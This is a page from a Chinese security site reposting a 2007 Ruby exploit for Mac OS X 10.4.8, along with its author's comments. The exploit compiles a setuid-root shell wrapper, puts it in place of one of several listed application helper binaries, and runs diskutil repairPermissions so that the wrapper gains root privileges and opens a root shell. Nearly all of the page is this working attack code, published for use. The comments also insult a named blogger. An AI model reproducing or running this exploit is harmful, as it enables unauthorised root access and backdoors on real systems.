首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Mac OS X 10.4.8 Overwrite Setuid Binaries Privilege Escalation Exploit
来源:lmh [at] info-pull.com 作者:LMH 发布时间:2007-01-17  

# !/usr/bin/ruby
# Exploit for MOAB-15-01-2007
# (c) 2006 LMH <lmh [at] info-pull.com>.
#
# Note: It's a generic exploit, you can use it over any binary writable which
# is set as root setuid by diskutil repair permissions. Simply change the path.
# Blame Apple for doing such a piece of **** and relying on flawed DAC.
#
# Line-noise: Jackass of the Week
# -------
# On Jan 14, 11:10 pm, "William A. Carrel" <willia...@carrel.org> wrote:
# > Works for me. I see yesterday's was an HFS+ panic.
# > > Is the info-pull/MoAB/MoKB site down, or is it just me that can't
# > > access it?
# Sorry, my fault. I blocked access to it at this end when they started
# distributing malware so that nobody downloaded anything accidentally. I
# can see it again now.
#
# Kind regards,
#
# Alastair.
# --------
#
# Hmm, false, it was the other way around:
#
# target prot opt source destination
# (...)
# DROP all -- ajhoughton.plus.com anywhere
# (...)
#
# "LMH.s continued propensity for insults, which frankly I don.t particularly
# appreciate." -- http://alastairs-place.net/2007/01/how-childish/
#
# There's nothing wrong about embarrassing you for being an absurd liar.
# Live with it, and then post to your 'blog' as usual. Free Zealot Apple PR (tm).
#

require 'fileutils'

DISK_UTIL_COMMAND = "/usr/sbin/diskutil repairPermissions /"
AVAILABLE_TARGETS = [
"/Applications/Utilities/Activity Monitor.app/Contents/Resources/pmTool",
"/Applications/Utilities/Keychain Access.app/Contents/Resources/kcproxy",
"/Applications/Utilities/ODBC Administrator.app/Contents/Resources/iodbcadmintool"
]

path_to_bin = (AVAILABLE_TARGETS[ARGV[0].to_i] || AVAILABLE_TARGETS[0])
path_to_back = File.join("/tmp", File.basename(path_to_bin))

puts "++ Starting: #{path_to_bin}"
puts "++ Back-up: #{path_to_back}"

if File.exists?(path_to_bin)
unless File.exists?(path_to_back)
FileUtils.cp(path_to_bin, path_to_back)
end
end

puts "++ Compiling a shell wrapper at /tmp/o..."
WRAP_CODE = 'int main() { setuid(0); setgid(0); seteuid(0); system("/bin/sh -i"); }'
COMPILE = "echo '#{WRAP_CODE}' > /tmp/t.c && gcc /tmp/t.c -s -o /tmp/o && rm -rf /tmp/t.c"
system(COMPILE)

puts "++ Placing backdoor..."
FileUtils.mv("/tmp/o", path_to_bin)
system(DISK_UTIL_COMMAND)

puts "++ Finished. Backup at #{path_to_back}."
puts "++ Repair with: mv '#{path_to_back}' '#{path_to_bin}'"
puts "++ Enjoy root shell."



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·KGB <= 1.9 (sesskglogadmin.
·MS Internet Explorer VML Remot
·TFTPDWIN 0.4.2 Remote Buffer O
·Sami FTP Server 2.0.2 (USER/PA
·Kaspersky Antivirus 6.0 Local
·MGB 0.5.4.5 (email.php id vari
·Mac OS X 10.4.8 AppleTalk ATPs
·CCRP Folder Treeview Control (
·VLC Media Player 0.8.6a Unspec
·Woltlab Burning Board <= 1.
·BolinTech DreamFTP (USER) Remo
·Woltlab Burning Board <= 1.
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved